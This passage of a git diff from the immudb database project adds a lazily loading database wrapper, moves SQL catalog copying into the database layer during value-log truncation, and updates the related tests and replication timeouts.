db.m.Release(db.idx) + + return d.SQLExec(ctx, tx, req) +} + +func (db *lazyDB) SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, nil, err + } + defer db.m.Release(db.idx) + + return d.SQLExecPrepared(ctx, tx, stmts, params) +} + +func (db *lazyDB) InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.InferParameters(ctx, tx, sql) +} + +func (db *lazyDB) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.InferParametersPrepared(ctx, tx, stmt) +} + +func (db *lazyDB) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (sql.RowReader, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.SQLQuery(ctx, tx, req) +} + +func (db *lazyDB) SQLQueryAll(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) ([]*sql.Row, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.SQLQueryAll(ctx, tx, req) +} + +func (db *lazyDB) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.SQLQueryPrepared(ctx, tx, stmt, params) +} + +func (db *lazyDB) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.VerifiableSQLGet(ctx, req) +} + +func (db *lazyDB) ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.ListTables(ctx, tx) +} + +func (db *lazyDB) DescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.DescribeTable(ctx, tx, table) +} + +func (db *lazyDB) WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error { + d, err := db.m.Get(db.idx) + if err != nil { + return err + } + defer db.m.Release(db.idx) + + return d.WaitForTx(ctx, txID, allowPrecommitted) +} + +func (db *lazyDB) WaitForIndexingUpto(ctx context.Context, txID uint64) error { + d, err := db.m.Get(db.idx) + if err != nil { + return err + } + defer db.m.Release(db.idx) + + return d.WaitForIndexingUpto(ctx, txID) +} + +func (db *lazyDB) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.TxByID(ctx, req) +} + +func (db *lazyDB) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) { + state, err := db.CurrentState() + if err != nil { + return nil, 0, [sha256.Size]byte{}, err + } + + if !req.AllowPreCommitted { + if req.Tx > state.TxId { + return nil, 0, [sha256.Size]byte{}, io.EOF + } + } + + d, err := db.m.Get(db.idx) + if err != nil { + return nil, 0, [sha256.Size]byte{}, err + } + defer db.m.Release(db.idx) + + return d.ExportTxByID(ctx, req) +} + +func (db *lazyDB) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.ReplicateTx(ctx, exportedTx, skipIntegrityCheck, waitForIndexing) +} + +func (db *lazyDB) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error { + d, err := db.m.Get(db.idx) + if err != nil { + return err + } + defer db.m.Release(db.idx) + + return d.AllowCommitUpto(txID, alh) +} + +func (db *lazyDB) DiscardPrecommittedTxsSince(txID uint64) error { + d, err := db.m.Get(db.idx) + if err != nil { + return err + } + defer db.m.Release(db.idx) + + return d.DiscardPrecommittedTxsSince(txID) +} + +func (db *lazyDB) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.VerifiableTxByID(ctx, req) +} + +func (db *lazyDB) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.TxScan(ctx, req) +} + +func (db *lazyDB) FlushIndex(req *schema.FlushIndexRequest) error { + d, err := db.m.Get(db.idx) + if err != nil { + return err + } + defer db.m.Release(db.idx) + + return d.FlushIndex(req) +} + +func (db *lazyDB) CompactIndex() error { + d, err := db.m.Get(db.idx) + if err != nil { + return err + } + defer db.m.Release(db.idx) + + return d.CompactIndex() +} + +func (db *lazyDB) IsClosed() bool { + return db.m.IsClosed(db.idx) +} + +func (db *lazyDB) Close() error { + return db.m.Close(db.idx) +} + +// CreateCollection creates a new collection +func (db *lazyDB) CreateCollection(ctx context.Context, username string, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.CreateCollection(ctx, username, req) +} + +// GetCollection returns the collection schema +func (db *lazyDB) GetCollection(ctx context.Context, req *protomodel.GetCollectionRequest) (*protomodel.GetCollectionResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.GetCollection(ctx, req) +} + +func (db *lazyDB) GetCollections(ctx context.Context, req *protomodel.GetCollectionsRequest) (*protomodel.GetCollectionsResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.GetCollections(ctx, req) +} + +func (db *lazyDB) UpdateCollection(ctx context.Context, username string, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.UpdateCollection(ctx, username, req) +} + +func (db *lazyDB) DeleteCollection(ctx context.Context, username string, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.DeleteCollection(ctx, username, req) +} + +func (db *lazyDB) AddField(ctx context.Context, username string, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.AddField(ctx, username, req) +} + +func (db *lazyDB) RemoveField(ctx context.Context, username string, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.RemoveField(ctx, username, req) +} + +func (db *lazyDB) CreateIndex(ctx context.Context, username string, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.CreateIndex(ctx, username, req) +} + +func (db *lazyDB) DeleteIndex(ctx context.Context, username string, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.DeleteIndex(ctx, username, req) +} + +func (db *lazyDB) InsertDocuments(ctx context.Context, username string, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.InsertDocuments(ctx, username, req) +} + +func (db *lazyDB) ReplaceDocuments(ctx context.Context, username string, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.ReplaceDocuments(ctx, username, req) +} + +func (db *lazyDB) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.AuditDocument(ctx, req) +} + +func (db *lazyDB) SearchDocuments(ctx context.Context, query *protomodel.Query, offset int64) (document.DocumentReader, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.SearchDocuments(ctx, query, offset) +} + +func (db *lazyDB) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.CountDocuments(ctx, req) +} + +func (db *lazyDB) ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.ProofDocument(ctx, req) +} + +func (db *lazyDB) DeleteDocuments(ctx context.Context, username string, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.DeleteDocuments(ctx, username, req) +} + +func (db *lazyDB) FindTruncationPoint(ctx context.Context, until time.Time) (*schema.TxHeader, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return nil, err + } + defer db.m.Release(db.idx) + + return d.FindTruncationPoint(ctx, until) +} + +func (db *lazyDB) CopySQLCatalog(ctx context.Context, txID uint64) (uint64, error) { + d, err := db.m.Get(db.idx) + if err != nil { + return 0, err + } + defer db.m.Release(db.idx) + + return d.CopySQLCatalog(ctx, txID) +} + +func (db *lazyDB) TruncateUptoTx(ctx context.Context, txID uint64) error { + d, err := db.m.Get(db.idx) + if err != nil { + return err + } + defer db.m.Release(db.idx) + + return d.TruncateUptoTx(ctx, txID) +} diff --git a/pkg/database/replica_test.go b/pkg/database/replica_test.go index 91ae1767d9..3fd624ddd0 100644 --- a/pkg/database/replica_test.go +++ b/pkg/database/replica_test.go @@ -31,7 +31,7 @@ import ( func TestReadOnlyReplica(t *testing.T) { rootPath := t.TempDir() - options := DefaultOption().WithDBRootPath(rootPath).AsReplica(true) + options := DefaultOptions().WithDBRootPath(rootPath).AsReplica(true) replica, err := NewDB("db", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) @@ -97,7 +97,7 @@ func TestReadOnlyReplica(t *testing.T) { func TestSwitchToReplica(t *testing.T) { rootPath := t.TempDir() - options := DefaultOption().WithDBRootPath(rootPath).AsReplica(false) + options := DefaultOptions().WithDBRootPath(rootPath).AsReplica(false) replica := makeDbWith(t, "db", options) diff --git a/pkg/database/scan_test.go b/pkg/database/scan_test.go index a61612fe40..4b6b01d074 100644 --- a/pkg/database/scan_test.go +++ b/pkg/database/scan_test.go @@ -21,6 +21,7 @@ import ( "fmt" "testing" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" @@ -279,7 +280,7 @@ func TestStoreScanWithTruncation(t *testing.T) { fileSize := 8 - options := DefaultOption().WithDBRootPath(rootPath) + options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 @@ -304,7 +305,7 @@ func TestStoreScanWithTruncation(t *testing.T) { deletePointTx := uint64(5) t.Run("ensure data is truncated until the deletion point", func(t *testing.T) { - c := NewVlogTruncator(db) + c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), deletePointTx)) for i := deletePointTx; i < 10; i++ { diff --git a/pkg/database/sql.go b/pkg/database/sql.go index 36f024f4c5..8ded2b4747 100644 --- a/pkg/database/sql.go +++ b/pkg/database/sql.go @@ -427,6 +427,33 @@ func (d *db) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sq return d.sqlEngine.InferParametersPreparedStmts(ctx, tx, []sql.SQLStmt{stmt}) } +func (d *db) CopySQLCatalog(ctx context.Context, txID uint64) (uint64, error) { + // copy sql catalogue + tx, err := d.st.NewTx(ctx, store.DefaultTxOptions()) + if err != nil { + return 0, err + } + + err = d.CopyCatalogToTx(ctx, tx) + if err != nil { + d.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_copy}", d.name, err, txID) + return 0, err + } + defer tx.Cancel() + + // setting the metadata to record the transaction upto which the log was truncated + tx.WithMetadata(store.NewTxMetadata().WithTruncatedTxID(txID)) + + tx.RequireMVCCOnFollowingTxs(true) + + // commit catalogue as a new transaction + hdr, err := tx.Commit(ctx) + if err != nil { + return 0, err + } + return hdr.ID, nil +} + type limitRowReader struct { sql.RowReader nRead int diff --git a/pkg/database/truncator.go b/pkg/database/truncator.go index 9183b180f5..47de4cc2b7 100644 --- a/pkg/database/truncator.go +++ b/pkg/database/truncator.go @@ -21,7 +21,8 @@ import ( "errors" "time" - "github.com/codenotary/immudb/embedded/store" + "github.com/codenotary/immudb/embedded/logger" + "github.com/codenotary/immudb/pkg/api/schema" "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promauto" ) @@ -38,77 +39,34 @@ type Truncator interface { // When resulting transaction before specified time does not exists // * No transaction header is returned. // * Returns nil TxHeader, and an error. - Plan(ctx context.Context, truncationUntil time.Time) (*store.TxHeader, error) + Plan(ctx context.Context, truncationUntil time.Time) (*schema.TxHeader, error) // TruncateUptoTx runs truncation against the relevant appendable logs. Must // be called after result of Plan(). TruncateUptoTx(ctx context.Context, txID uint64) error } -func NewVlogTruncator(d DB) Truncator { +func NewVlogTruncator(db DB, log logger.Logger) Truncator { return &vlogTruncator{ - db: d.(*db), - metrics: newTruncatorMetrics(d.GetName()), + db: db, + metrics: newTruncatorMetrics(db.GetName()), + logger: log, } } // vlogTruncator implements Truncator for the value-log appendable type vlogTruncator struct { - db *db + db DB metrics *truncatorMetrics + logger logger.Logger } // Plan returns the transaction upto which the value log can be truncated. // When resulting transaction before specified time does not exists // - No transaction header is returned. // - Returns nil TxHeader, and an error. -func (v *vlogTruncator) Plan(ctx context.Context, truncationUntil time.Time) (*store.TxHeader, error) { - hdr, err := v.db.st.LastTxUntil(truncationUntil) - if errors.Is(err, store.ErrTxNotFound) { - return nil, ErrRetentionPeriodNotReached - } - if err != nil { - return nil, err - } - - // look for the newst transaction with entries - for err == nil { - if hdr.NEntries > 0 { - break - } - - if ctx.Err() != nil { - return nil, err - } - - hdr, err = v.db.st.ReadTxHeader(hdr.ID-1, false, false) - } - - return hdr, err -} - -// commitCatalog commits the current sql catalogue as a new transaction. -func (v *vlogTruncator) commitCatalog(ctx context.Context, txID uint64) (*store.TxHeader, error) { - // copy sql catalogue - tx, err := v.db.st.NewTx(ctx, store.DefaultTxOptions()) - if err != nil { - return nil, err - } - - err = v.db.CopyCatalogToTx(ctx, tx) - if err != nil { - v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_copy}", v.db.name, err, txID) - return nil, err - } - defer tx.Cancel() - - // setting the metadata to record the transaction upto which the log was truncated - tx.WithMetadata(store.NewTxMetadata().WithTruncatedTxID(txID)) - - tx.RequireMVCCOnFollowingTxs(true) - - // commit catalogue as a new transaction - return tx.Commit(ctx) +func (v *vlogTruncator) Plan(ctx context.Context, truncationUntil time.Time) (*schema.TxHeader, error) { + return v.db.FindTruncationPoint(ctx, truncationUntil) } // TruncateUpTo runs truncation against the relevant appendable logs upto the specified transaction offset. @@ -118,22 +76,21 @@ func (v *vlogTruncator) TruncateUptoTx(ctx context.Context, txID uint64) error { v.metrics.duration.Observe(time.Since(t).Seconds()) }(time.Now()) - v.db.Logger.Infof("copying sql catalog before truncation for database '%s' at tx %d", v.db.name, txID) + v.logger.Infof("copying sql catalog before truncation for database '%s' at tx %d", v.db.GetName(), txID) // copy sql catalogue - sqlCommitHdr, err := v.commitCatalog(ctx, txID) + sqlCatalogTxID, err := v.db.CopySQLCatalog(ctx, txID) if err != nil { - v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_commit}", v.db.name, err, txID) + v.logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_commit}", v.db.GetName(), err, txID) return err } - v.db.Logger.Infof("committed sql catalog before truncation for database '%s' at tx %d", v.db.name, sqlCommitHdr.ID) + v.logger.Infof("committed sql catalog before truncation for database '%s' at tx %d", v.db.GetName(), sqlCatalogTxID) // truncate upto txID - err = v.db.st.TruncateUptoTx(txID) + err = v.db.TruncateUptoTx(ctx, txID) if err != nil { - v.db.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=truncate_upto}", v.db.name, err, txID) + v.logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=truncate_upto}", v.db.GetName(), err, txID) } - return err } diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 6861de64d0..3a7554c058 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -25,6 +25,7 @@ import ( "testing" "time" + "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" @@ -76,7 +77,7 @@ func Test_vlogCompactor_WithMultipleIO(t *testing.T) { fileSize := 1024 - options := DefaultOption().WithDBRootPath(rootPath) + options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 5 options.storeOpts.MaxConcurrency = 500 @@ -99,7 +100,7 @@ func Test_vlogCompactor_WithMultipleIO(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) - c := NewVlogTruncator(db) + c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) @@ -122,7 +123,7 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { fileSize := 1024 - options := DefaultOption().WithDBRootPath(rootPath) + options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 @@ -145,7 +146,7 @@ func Test_vlogCompactor_WithSingleIO(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) - c := NewVlogTruncator(db) + c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) @@ -181,7 +182,7 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { fileSize := 1024 - options := DefaultOption().WithDBRootPath(rootPath) + options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.MaxConcurrency = 500 @@ -216,7 +217,7 @@ func Test_vlogCompactor_WithConcurrentWritersOnSingleIO(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) - c := NewVlogTruncator(db) + c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) @@ -276,7 +277,7 @@ func Test_vlogCompactor_Plan(t *testing.T) { fileSize := 1024 - options := DefaultOption().WithDBRootPath(rootPath) + options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.VLogCacheSize = 0 @@ -296,7 +297,7 @@ func Test_vlogCompactor_Plan(t *testing.T) { } } - c := NewVlogTruncator(db) + c := NewVlogTruncator(db, logger.NewMemoryLogger()) hdr, err := c.Plan(context.Background(), queryTime) require.NoError(t, err) @@ -306,7 +307,7 @@ func Test_vlogCompactor_Plan(t *testing.T) { func setupCommonTest(t *testing.T) *db { rootPath := t.TempDir() - options := DefaultOption().WithDBRootPath(rootPath) + options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(1024) options.storeOpts.VLogCacheSize = 0 options.storeOpts.EmbeddedValues = false @@ -361,7 +362,7 @@ func Test_vlogCompactor_with_sql(t *testing.T) { hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false, false) require.NoError(t, err) - c := NewVlogTruncator(db) + c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) @@ -428,7 +429,7 @@ func Test_vlogCompactor_without_data(t *testing.T) { fileSize := 1024 - options := DefaultOption().WithDBRootPath(rootPath) + options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)).WithFileSize(fileSize) options.storeOpts.MaxIOConcurrency = 1 options.storeOpts.VLogCacheSize = 0 @@ -443,7 +444,7 @@ func Test_vlogCompactor_without_data(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) - c := NewVlogTruncator(db) + c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) @@ -505,7 +506,7 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) - c := NewVlogTruncator(db) + c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) @@ -537,7 +538,7 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { hdr, err := db.st.ReadTxHeader(deleteUptoTx.Id, false, false) require.NoError(t, err) - c := NewVlogTruncator(db) + c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) @@ -562,7 +563,7 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { fileSize := 1024 - options := DefaultOption().WithDBRootPath(rootPath) + options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithFileSize(fileSize) options.storeOpts.VLogCacheSize = 0 @@ -605,7 +606,7 @@ func Test_vlogCompactor_for_read_conflict(t *testing.T) { hdr, err := db.st.ReadTxHeader(deletePointTx, false, false) require.NoError(t, err) - c := NewVlogTruncator(db) + c := NewVlogTruncator(db, logger.NewMemoryLogger()) require.NoError(t, c.TruncateUptoTx(context.Background(), hdr.ID)) @@ -669,7 +670,7 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) - err = NewVlogTruncator(db).TruncateUptoTx(context.Background(), hdr.ID) + err = NewVlogTruncator(db, logger.NewMemoryLogger()).TruncateUptoTx(context.Background(), hdr.ID) require.NoError(t, err) // should add two extra transaction with catalogue @@ -724,7 +725,7 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { hdr, err := db.st.ReadTxHeader(lastCommitTx, false, false) require.NoError(t, err) - err = NewVlogTruncator(db).TruncateUptoTx(context.Background(), hdr.ID) + err = NewVlogTruncator(db, logger.NewMemoryLogger()).TruncateUptoTx(context.Background(), hdr.ID) require.NoError(t, err) // should add an extra transaction with catalogue diff --git a/pkg/database/types.go b/pkg/database/types.go index 2c1e41c7f5..0c3c4642d8 100644 --- a/pkg/database/types.go +++ b/pkg/database/types.go @@ -16,118 +16,87 @@ limitations under the License. package database -import ( - "sync" -) +import "context" // DatabaseList interface type DatabaseList interface { - Put(database DB) + Put(name string, opts *Options) DB + PutClosed(name string, opts *Options) DB Delete(string) (DB, error) GetByIndex(index int) (DB, error) GetByName(string) (DB, error) GetId(dbname string) int Length() int + Resize(n int) + CloseAll(ctx context.Context) error } type databaseList struct { - databases []DB - databaseByName map[string]*dbRef - sync.RWMutex -} - -type dbRef struct { - index int - deleted bool + m *DBManager } // NewDatabaseList constructs a new database list -func NewDatabaseList() DatabaseList { +func NewDatabaseList(m *DBManager) DatabaseList { return &databaseList{ - databases: make([]DB, 0), - databaseByName: make(map[string]*dbRef), + m: m, } } -func (d *databaseList) Put(database DB) { - d.Lock() - defer d.Unlock() - - ref, exists := d.databaseByName[database.GetName()] - if exists { - d.databases[ref.index] = database - ref.deleted = false - return - } +func (d *databaseList) Put(dbName string, opts *Options) DB { + return d.put(dbName, opts, false) +} - d.databases = append(d.databases, database) - d.databaseByName[database.GetName()] = &dbRef{index: len(d.databases) - 1} +func (d *databaseList) PutClosed(dbName string, opts *Options) DB { + return d.put(dbName, opts, true) } -func (d *databaseList) Delete(dbname string) (DB, error) { - d.Lock() - defer d.Unlock() +func (d *databaseList) put(dbName string, opts *Options, closed bool) DB { + var newOpts Options = *opts - dbRef, exists := d.databaseByName[dbname] - if !exists || dbRef.deleted { - return nil, ErrDatabaseNotExists - } - - db := d.databases[dbRef.index] + idx := d.m.Put(dbName, &newOpts, closed) - if !db.IsClosed() { - return nil, ErrCannotDeleteAnOpenDatabase + return &lazyDB{ + m: d.m, + idx: idx, } - - dbRef.deleted = true - - return db, nil } -func (d *databaseList) GetByIndex(index int) (DB, error) { - d.RLock() - defer d.RUnlock() - - if index < 0 || index >= len(d.databases) { - return nil, ErrDatabaseNotExists +func (d *databaseList) Delete(dbname string) (DB, error) { + if err := d.m.Delete(dbname); err != nil { + return nil, err } + idx := d.m.GetIndexByName(dbname) + return &lazyDB{m: d.m, idx: idx}, nil +} - db := d.databases[index] - - dbRef := d.databaseByName[db.GetName()] - if dbRef.deleted { +func (d *databaseList) GetByIndex(index int) (DB, error) { + if !d.m.HasIndex(index) { return nil, ErrDatabaseNotExists } - - return db, nil + return &lazyDB{m: d.m, idx: index}, nil } func (d *databaseList) GetByName(dbname string) (DB, error) { - d.RLock() - defer d.RUnlock() - - if dbRef, ok := d.databaseByName[dbname]; !ok || dbRef.deleted { + idx := d.m.GetIndexByName(dbname) + if idx < 0 { return nil, ErrDatabaseNotExists } - - return d.databases[d.databaseByName[dbname].index], nil + return &lazyDB{m: d.m, idx: idx}, nil } func (d *databaseList) Length() int { - d.RLock() - defer d.RUnlock() - - return len(d.databases) + return d.m.Length() } // GetById returns the database id number. -1 if database is not present func (d *databaseList) GetId(dbname string) int { - d.RLock() - defer d.RUnlock() + return d.m.GetIndexByName(dbname) +} - if dbRef, ok := d.databaseByName[dbname]; ok && !dbRef.deleted { - return dbRef.index - } +func (d *databaseList) CloseAll(ctx context.Context) error { + return d.m.CloseAll(ctx) +} - return -1 +func (d *databaseList) Resize(n int) { + d.m.Resize(n) } diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index 8a7c3eb46d..155d2c803f 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -350,9 +350,9 @@ func TestAsyncReplication(t *testing.T) { err = primaryClient.CloseSession(context.Background()) require.NoError(t, err) - time.Sleep(1 * time.Second) + time.Sleep(5 * time.Second) - //keys should exist in replicadb@replica" + // keys should exist in replicadb@replica" for i := 0; i < keyCount; i++ { ei := keyCount + i @@ -511,7 +511,7 @@ func TestReplicationTxDiscarding(t *testing.T) { _, err = primaryClient.Set(context.Background(), []byte("key11"), []byte("value11")) require.NoError(t, err) - time.Sleep(1 * time.Second) + time.Sleep(5 * time.Second) t.Run("key1 should exist in replicadb@replica", func(t *testing.T) { _, err = replicaClient.Get(context.Background(), []byte("key11")) @@ -624,7 +624,7 @@ func TestSystemDBAndDefaultDBReplication(t *testing.T) { _, err = primaryClient.Set(context.Background(), []byte("key1"), []byte("value1")) require.NoError(t, err) - time.Sleep(1 * time.Second) + time.Sleep(5 * time.Second) t.Run("key1 should exist in replicateddb@replica", func(t *testing.T) { _, err = replicaClient.Get(context.Background(), []byte("key1")) diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index 470e25e7b8..50853d6634 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -458,7 +458,6 @@ func (txr *TxReplicator) fetchNextTx() error { } txr.lastTx++ } - return nil } diff --git a/pkg/replication/replicator_test.go b/pkg/replication/replicator_test.go index 9a4d7ce0a4..0e6c906bac 100644 --- a/pkg/replication/replicator_test.go +++ b/pkg/replication/replicator_test.go @@ -43,7 +43,7 @@ func TestReplication(t *testing.T) { logger := logger.NewSimpleLogger("logger", os.Stdout) - db, err := database.NewDB("replicated_defaultdb", nil, database.DefaultOption().AsReplica(true).WithDBRootPath(path), logger) + db, err := 